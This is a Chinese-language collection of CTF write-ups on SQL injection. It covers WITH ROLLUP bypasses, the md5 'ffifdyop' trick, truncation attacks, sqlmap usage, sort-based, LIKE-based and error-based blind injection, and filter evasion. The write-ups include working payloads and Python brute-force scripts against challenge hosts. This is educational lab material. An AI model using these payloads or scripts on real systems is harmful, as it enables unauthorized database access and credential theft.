持续更新中
group by … with rollup
介绍group by … with rollup的用法
GROUP BY 语句根据一个或多个列对结果集进行分组。1
2
3
4
5
6
7
8
9
10
11
12
13mysql> set names utf8;
mysql> SELECT * FROM employee_tbl;
+----+--------+---------------------+--------+
| id | name | date | singin |
+----+--------+---------------------+--------+
| 1 | 小明 | 2016-04-22 15:25:33 | 1 |
| 2 | 小王 | 2016-04-20 15:25:47 | 3 |
| 3 | 小丽 | 2016-04-19 15:26:02 | 2 |
| 4 | 小王 | 2016-04-07 15:26:14 | 4 |
| 5 | 小明 | 2016-04-11 15:26:40 | 4 |
| 6 | 小明 | 2016-04-04 15:26:54 | 2 |
+----+--------+---------------------+--------+
6 rows in set (0.00 sec)
使用group by 之后1
2
3
4
5
6
7
8
9mysql> SELECT name, COUNT(*) FROM employee_tbl GROUP BY name;
+--------+----------+
| name | COUNT(*) |
+--------+----------+
| 小丽 | 1 |
| 小明 | 3 |
| 小王 | 2 |
+--------+----------+
3 rows in set (0.01 sec)
WITH ROLLUP
WITH ROLLUP 可以实现在分组统计数据基础上再进行相同的统计(SUM,AVG,COUNT…)。
1 | mysql> select*from r; |
CTF
1 |
|
这道题中的关键代码如下:1
2
3
4
5
6
7$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
...
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
数据库查询的pwd和上传的pwd相同时,返回flag
考察group by … with rollup的使用方法,同时根据查询语句1
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
放上payload:1
' or 1=1 group by pwd with rollup limit 1 offset 2#
group by pwd 是按照pwd来分组,此处是为了搭配 with rollup使用
with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg…),多出的那一行的pwd列只能是NULL。
像这样:1
2
3
4
5
6
7+-------+-------+
| uname | pwd |
+-------+-------+
| usr1 | ***** |
| usr2 | ***** |
| usr2 | NULL |
+-------+-------+
那我们接着去使用limit 1 offset 2,limit 1:只查询一行信息,offset 2:从第二行开始。
一个MD5的sql注入的技巧
题目地址:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
源代码:1
2
3
4
5
6
7
8
9$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
这里的提交的password被md5()重新组合,然后再进行sql查询。
所以一般的sql注入是无法成功的。然后这里有一个很迷的技巧,就是提交的password为 ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转成字符串为’or’6�]��!r,��b
完成注入。
sql约束
题目地址:http://123.206.31.85:49163/
攻击方式通过sql约束
本地复现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users where username="Dumb ";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username="Dumb";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
达到越权的效果。
注册一个username=”admin “,password=”123”
然后登陆,查询效果如上,返回用户信息。
sqlmap使用
一道bugku的题,然后因为使用到sqlmap,这里稍做记录,因为在学习过程中,我使用sqlmap的地方不多,所以并未怎么了解。
题目地址:http://123.206.87.240:9001/sql/
这里考虑到可能使用sql注入,所以我们使用sqlmap,我们把注入点设置在admin_name
burp抓包,保存其请求包,如下图:
然后在kali的命令行中输入如下命令:1
2
3
4
5
6
7
8
9爆库名:
sqlmap -r '/root/桌面/zzz.txt' -p admin_name --dbs
-r 只读操作 -p 选定注入点
爆表名:
sqlmap -r '/root/桌面/zzz.txt' -D bugkusql1 -p admin_name --tables
爆列名:
sqlmap -r '/root/桌面/zzz.txt' -D bugkusql1 -T flag1 -p admin_name --columns
iscc2019 web5
学长的脑洞超大
step1
页面提示:“看来你并不是Union.373组织成员,请勿入内!”
修改User-Agent,在UA添上Union.373,并且修改GET方法为POST方法,
写入username以及password,如下
step2
通过Fuzz测试,发现基本我们注入所用到的关键字都被过滤掉了,并且“()”也被过滤掉了。
参考文章:CTF中过滤括号的盲注题小记
使用union order by的方法进行排序盲注,在本地测试一下,union order by 的使用方法.
1 | mysql> select * from users; |
然后再看web5这题
输入万能密码:1’ or ‘1
回显:
输入payload:1
username=union_373_Tom&password=1' or '1' union select 1,"wcl","1" order by 3,'1
输入payload:1
username=union_373_Tom&password=1' or '1' union select 1,"wcl","2" order by 3,'1
没有回显“wcl”.
这里就是排序盲注,题目本身有给定一个字符串,按顺序给这个字符,当我们输入的字符,与密码在该位的字符的ASCII值相比,如果不大于的话,便会回显“wcl”
经过测试,得到该字符串为:
_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210
说明我们的猜想正确,第二位密码的字符如上图方式得出
step3
编写盲注脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import requests
url = "http://39.100.83.188:8054/"
headers = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36 Union.373'
}
password = ""
s = "_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210 "
for i in range(1,33):
for j in s:
p = password+j
data = {
'username':'union_373_Tom',
'password':"1' or '1' union select 1,'wcl','"+p+"' from admin order by 3,'1"
}
r = requests.post(url=url,data=data,headers=headers)
r.encoding = r.apparent_encoding
if 'wcl' in r.text:
password = password + j
print('password:',password)
break
Jarvis OJ—IN A Mess
题目入口:http://web.jarvisoj.com:32780/
这道题,查看源代码,要我们访问index.phps,那就访问咯,然后得到源代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32//index.phps
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
关键代码:1
2$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
$a可以通过伪协议php://input传入;$id可以通过弱类型绕过,传入0b;至于$b,构造payload为$b=%00111111,这样子将会绕过eregi()函数,
同时满足substr()函数
payload:1
?id=0b&a=php://input&b=%0011111
然后获得Come ON!!! {/^HT2mCpcvOLf}字段
所以访问:http://web.jarvisoj.com:32780/^HT2mCpcvOLf
会自动补全为:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1
修改id=2,发现这是一个sql注入,这道题会回显我们输入的payload,然后基本所有的关键词都被过滤了,包括空格,然后我们可以通过/1/绕过
关键词通过双写绕过。
附上payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15爆库名:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=0/*1*/uniunionon/*1*/selselectect/*1*/1,2,database()#
得到数据库名:test
爆表名:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=0/*1*/uniunionon/*1*/selselectect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()#
得到表名:content
爆字段名:
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(column_name)/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74#
得到字段名:id,context,title
这里有个插曲,原先table_name写的是content,然后发现不行,改为16进制'0x636f6e74656e74'来表示
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*123*/uniunionon/*123*/selselectect/*123*/1,2,group_concat(id,0x3a,context,0x3a,title,0x3a)/*123*/frfromom/*111*/content#
获得flag
登录_百度杯十月赛
这道题前部分是考察sql注入,后部分考察.git源码泄露
这道题学到了like盲注
首先这道题,我们通过抓包可以猜测其查询语句为:1
select * from xxx where username = ......
我们尝试万能密码admin' or 1=1#
,会回显密码错误,但是写的错误的用户名,便会返回用户名错误,考虑到是布尔盲注
采用like盲注
然后这道题有个特殊的地方就是
表单里有user_n3me和p3ss_w0rd,这两个很显眼,所以这估计就是用户名和密码所在列的字段名
所以查询语句差不多为:1
select * from xxx where username = 'admin' or p3ss_w0rd(user_n3me) like 'xxx'
附上爆库脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51# -*- coding:utf-8 -*-
from urllib.request import urlopen
from urllib import parse,request
import sys
import threading
import requests
url = "http://4bdd0de07f7b48e7bfb9b5cb478985292e17faa0ea214cc1.changame.ichunqiu.com/Challenges/login.php"
def get_database_length():
for i in range(1,sys.maxsize):
username = "admin' or length(database())>{0}#"
username = username.format(i)
values = {"username":username,"password":""}
data = parse.urlencode(values).encode('utf-8')
response = request.Request(url,data)
response = urlopen(response)
if len(response.read().decode()) != 4:
print('当前数据库长度为:',i)
return i
def get_data():
global lock
lit = list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")
# 后台SQL语句形如:
# select xxx from xxx where username='' or 其他字段=xxx#
# 我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段
username = "admin' or p3ss_w0rd like '{0}%'#"
# username="admin' or p3ss_w0rd like '{0}%'#"
database = ''
print("Start to retrive the database")
while True:
curId = 0
while True:
if curId == len(lit):
break
i = curId
curId += 1
un = username.format(database + lit[i])
print(un)
values = {"username": un, 'password': ''}
data = parse.urlencode(values).encode('utf-8')
response = request.Request(url, data)
response = urlopen(response)
if len(response.read().decode()) == 4:
database = database + lit[i]
print("the database is :%s" % database)
break
if curId == len(lit):
print(database)
break
这里我们要学习的,除了Like盲注的思想,还有脚本中,遍历查询的编写方法。
Jarvis OJ_[61dctf]inject
提示说先找到源码,然后用dirsearch扫一下,发现有几个文件,最后在index.php~发现源码
审计源代码:1
2
3
4
5
6
7
8
9
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
这道题考查反引号注入,使用反引号的原因是因为有的时候我们在建立数据库的时候,使用的字段与mysql的保留字相同,为了区分开来我们使用反引号,而不使用单引号,比如create table desc,这时候会报错,原因是desc是mysql的保留字之一,所以这时候就要使用create table desc
,这样就可以成功创建以desc为名的数据表。1
2
3
4
5
6create table desc # 报错
create table `desc` # 能成功执行
desc `abc` `def`
desc abc def
# 效果是一样的
附上这道题的payload:
这里有个点,就是空格被过滤了,所以我们可以用%20代替1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20爆库名:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select%20%20limit%201,1
爆表名:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select%20%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1
secret_flag,secret_test
爆字段名:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select%20%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20limit%201,1
#实际上在这里,我们没有使用where table_name = "xxx",因为注入时,发现""和''被过滤掉了
flagUwillNeverKnow,username
爆flag:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select%20%20group_concat(flagUwillNeverKnow)%20from%20secret_flag%20limit%201,1
flag{luckyGame~}
加了料的报错注入(实验吧)
看题目就知道这里考察的是报错注入
然后通过fuzz,发现这里几乎所有的关键词都被过滤了,但是updatexml(),还有extractvalue()这样的报错函数没有被过滤掉,查看提示
查询语句为:1
$sql="select * from users where username='$username' and password='$password'";
构造payload使得整个语句可有报错的效果
select from users where
`username=’1’ and updatexml/‘and password=*’/(1,concat(0x7e,select(database()),0x7e),1) and ‘1`
那也就是说构造出来的username和passwor要是这样的
username = 1' and updatexml/*
password = *'/(1,concat(0x7e,select(database()),0x7e),1) and '1